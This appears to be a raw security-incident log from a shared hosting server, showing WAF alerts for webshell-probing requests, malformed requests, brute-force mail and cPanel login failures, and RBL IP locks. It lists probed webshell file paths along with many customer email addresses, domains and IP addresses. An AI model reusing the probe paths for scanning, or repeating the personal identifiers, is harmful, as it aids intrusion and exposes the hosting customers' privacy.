# incident

plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.46.68.127
country_id: 3865483
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/ramsey/uuid/src/Uuid.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 15:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:56789: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/photos/images/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.132.129
country_id: 3469034
description:
Jan 15 15:36:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.132.129 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.132.129
country_id: 3469034
description:
Jan 15 15:36:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.132.129 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 15:36:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:56790: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 162.142.125.123
country_id: 6252001
description:
2026-01-15 15:36:32 110059 [Warning] Aborted connection 110059 to db: 'unconnected' user: 'unauthenticated' host: '162.142.125.123' (This connection closed normally without authentication)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/img/photos/csr.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.150.65
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/interior.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.179.181.79
country_id: 1814991
description:
Jan 15 15:41:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.179.181.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.181.79
country_id: 1814991
description:
2026-01-15 15:41:41 dovecot_login authenticator failed for H=(uhjye) [111.179.181.79]:50335: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.179.181.79
country_id: 1814991
description:
Jan 15 15:42:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.179.181.79 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.181.79
country_id: 1814991
description:
2026-01-15 15:42:27 dovecot_login authenticator failed for H=(poxzl) [111.179.181.79]:50335: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.41.235.122
country_id: 3865483
description:
Jan 15 15:42:28 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.41.235.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.192.67.43
country_id: 3077311
description:
Jan 15 15:42:30 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.192.67.43 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/img/photos/images/index.php||SC:/home/indfinitydesign/public_html/img/photos/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 15:44:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63789: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 15:44:10 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63791: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.63||T:APACHE||MV:/images/druma/druma.php||SC:/home/indfinitydesign/public_html/images/druma||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.173
country_id: 3865483
description:
Jan 15 15:48:35 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.36.139
country_id: 953987
description:
Jan 15 15:49:10 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.36.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.36.139
country_id: 953987
description:
Jan 15 15:49:21 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.36.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-15 15:50:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:39195: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-15 15:50:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:39196: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-15 15:52:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:30523: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-15 15:52:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:30525: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.205
country_id: 2300660
description:
Jan 15 15:55:55 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.192.205.23
country_id: 798544
description:
Jan 15 15:56:04 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.192.205.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.44.205
country_id: 2300660
description:
Jan 15 15:56:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.44.205 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.192.205.23
country_id: 798544
description:
Jan 15 15:56:11 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.192.205.23 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.247.48
country_id: 798544
description:
Jan 15 15:56:16 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.247.48 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-15 15:58:55 +0800] info [webmaild] 113.211.37.45 - chuan@tschuan.com "GET /cpsess1903874427/3rdparty/roundcube/?_task=mail&_mbox=INBOX.spam HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.57.165
country_id: 953987
description:
Jan 15 15:59:23 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.57.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.42.14
country_id: 2395170
description:
Jan 15 16:01:09 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.42.14 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.48.181.53
country_id: 719819
description:
Jan 15 16:01:14 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.48.181.53 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.59.135.190
country_id: 1269750
description:
Jan 15 16:01:40 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.59.135.190 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.179.183.144
country_id: 1814991
description:
Jan 15 16:02:03 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.179.183.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.183.144
country_id: 1814991
description:
2026-01-15 16:02:05 dovecot_login authenticator failed for H=(xvobe) [111.179.183.144]:63773: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.179.183.144
country_id: 1814991
description:
Jan 15 16:02:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.179.183.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.183.144
country_id: 1814991
description:
2026-01-15 16:02:14 dovecot_login authenticator failed for H=(kymxq) [111.179.183.144]:63773: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 16:04:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:56820: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 16:04:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:56821: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.183.221
country_id: 1814991
description:
2026-01-15 16:07:27 dovecot_login authenticator failed for H=(hgdqo) [111.179.183.221]:51444: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-15 16:08:07 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess9134142965/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.110.212.48
country_id: 3077311
description:
Jan 15 16:09:19 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.110.212.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.224.117
country_id: 3469034
description:
Jan 15 16:09:39 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.224.117 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 149.54.51.42
country_id: 1149361
description:
Jan 15 16:09:48 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 149.54.51.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.51.42
country_id: 1149361
description:
2026-01-15 16:09:50 dovecot_login authenticator failed for H=([149.54.51.42]) [149.54.51.42]:57656: 535 Incorrect authentication data (set_id=nicholas@eminent.st)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.144.229.115
country_id: 1733045
description:
[2026-01-15 16:12:01 +0800] info [webmaild] 175.144.229.115 - admin@evergrown.com.my "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 16:12:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63932: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-15 16:12:12 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:63932: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 60.50.35.84
country_id: 1733045
description:
[2026-01-15 16:12:28 +0800] info [webmaild] 60.50.35.84 - pylim@af-sb.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 proxy - [01/15/2026:08:12:29 -0000] "GET /cPanel_magic_revision_1748878853/unprotected/cpanel/style_v2_optimized.css HTTP/1.1" 200 0 "https://webmail.ds-staffing.com/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13079956&pdata=https%253A%252F%252Fwebmail.ds-staffing.com%252F404.shtml&id=7fa3b767c460b54a2be4d49030b349c7&ts=1768464741" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" "-" "X-Forwarded-For: 34.123.170.104" 443


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.40.189.43
country_id: 6252001
description:
2026-01-15 16:13:20 dovecot_plain authenticator failed for H=c-68-40-189-43.hsd1.mi.comcast.net (horang) [68.40.189.43]:39326: 535 Incorrect authentication data (set_id=akmal@tujusetia.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.247.32
country_id: 798544
description:
Jan 15 16:13:25 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.247.32 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.211.52.67
country_id: 2328926
description:
Jan 15 16:13:36 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.211.52.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.211.52.67
country_id: 2328926
description:
2026-01-15 16:13:38 dovecot_login authenticator failed for H=(l7WByKs) [197.211.52.67]:37729: 535 Incorrect authentication data (set_id=katsy@urban.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.40.189.43
country_id: 6252001
description:
Jan 15 16:13:18 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.40.189.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.169.52.67
country_id: 2017370
description:
Jan 15 16:13:34 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.169.52.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.169.52.67
country_id: 2017370
description:
2026-01-15 16:13:36 dovecot_login authenticator failed for H=([193.169.52.67]) [193.169.52.67]:49572: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 197.211.52.67
country_id: 2328926
description:
Jan 15 16:14:19 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 197.211.52.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.211.52.67
country_id: 2328926
description:
2026-01-15 16:14:21 dovecot_login authenticator failed for H=(PnJTdXwbHB) [197.211.52.67]:37732: 535 Incorrect authentication data (set_id=katsy@urban.my)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 167.94.138.193
country_id: 6252001
description:
2026-01-15 16:17:45 111702 [Warning] Aborted connection 111702 to db: 'unconnected' user: 'unauthenticated' host: '167.94.138.193' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-15 16:18:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:39203: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-15 16:17:17 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "GET /cpsess6825531216/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-15 16:18:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:39204: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.16.80.185
country_id: 690791
description:
Jan 15 16:18:56 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.16.80.185 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.80.185
country_id: 690791
description:
2026-01-15 16:18:58 dovecot_plain authenticator failed for H=(poriosunic) [178.16.80.185]:48314: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-15 16:19:10 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess4351433493/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.58.198.205
country_id: 3573591
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/byecake/11/423/1137273 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.229.141
country_id: 1562822
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/p-2.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-15 16:20:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:30545: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.117.252
country_id: 1733045
description:
2026-01-15 16:20:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.117.252]:30546: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-15 16:20:29 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess4351433493/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-15 16:21:29 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess4351433493/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 31.204.14.121
country_id: 6252001
domain: ms-chemicals.net
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/ms-chemicals.net/ HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-15 16:24:54 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess4441584544/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.121.99
country_id: 798544
description:
Jan 15 16:24:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.121.99 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 72.227.136.237
country_id: 6252001
description:
2026-01-15 16:24:47 dovecot_login authenticator failed for H=(syn-072-227-136-237.res.spectrum.com) [72.227.136.237]:35004: 535 Incorrect authentication data (set_id=salesmp@aoto.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 72.227.136.237
country_id: 6252001
description:
Jan 15 16:24:45 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 72.227.136.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.135.138
country_id: 1168579
description:
Jan 15 16:24:59 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.135.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.190.205.219
country_id: 3469034
description:
Jan 15 16:25:32 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.190.205.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.231.121.99
country_id: 798544
description:
Jan 15 16:25:12 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.231.121.99 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.216.135.138
country_id: 1168579
description:
Jan 15 16:25:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.216.135.138 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 84.234.113.143
country_id: 798544
description:
Jan 15 16:25:19 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 84.234.113.143 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.178.45
country_id: 1733045
description:
[2026-01-15 16:25:29 +0800] info [webmaild] 175.139.178.45 - payment@tujusetia.my "POST /cpsess4351433493/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.40.189.43
country_id: 6252001
description:
Jan 15 16:28:57 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.40.189.43 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.40.189.43
country_id: 6252001
description:
2026-01-15 16:28:59 dovecot_plain authenticator failed for H=c-68-40-189-43.hsd1.mi.comcast.net (quottion) [68.40.189.43]:59542: 535 Incorrect authentication data (set_id=no-replay@kimmark.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.0.129.97
country_id: 3865483
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/thumb.php?src=img/photos/1191009474.jpg&size=1000x1000 HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.98.119.87
country_id: 798544
description:
Jan 15 16:31:54 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.98.119.87 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 16:32:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:56841: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.78
country_id: 732800
description:
Jan 15 16:33:00 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-15 16:32:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:56842: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.8.254
country_id: 3175395
description:
Jan 15 16:32:24 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.8.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.184.168
country_id: 1814991
description:
2026-01-15 16:33:50 dovecot_login authenticator failed for H=(avcym) [111.179.184.168]:52800: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.212.78
country_id: 732800
description:
Jan 15 16:33:13 sv3 auth[1734380]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.212.78 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 182.48.71.209
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/3-Reasons-to-Maintain-Commercial-Kitchen-Appliances.php HTTP/1.1||RSV:7.63||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.111.221.252
country_id: 1210997
domain: cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/cabe.com.my/images/Sirman.png HTTP/1.1||RSV:7.63||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.179.184.168
country_id: 1814991
description:
2026-01-15 16:34:12 dovecot_login authenticator failed for H=(ejypz) [111.179.184.168]:52800: 535 Incorrect authentication data (set_id=hr)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.176.233.108
country_id: 3686110
description:
[2026-01-15 16:37:02 +0800] info [whostmgrd] 45.176.233.108 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


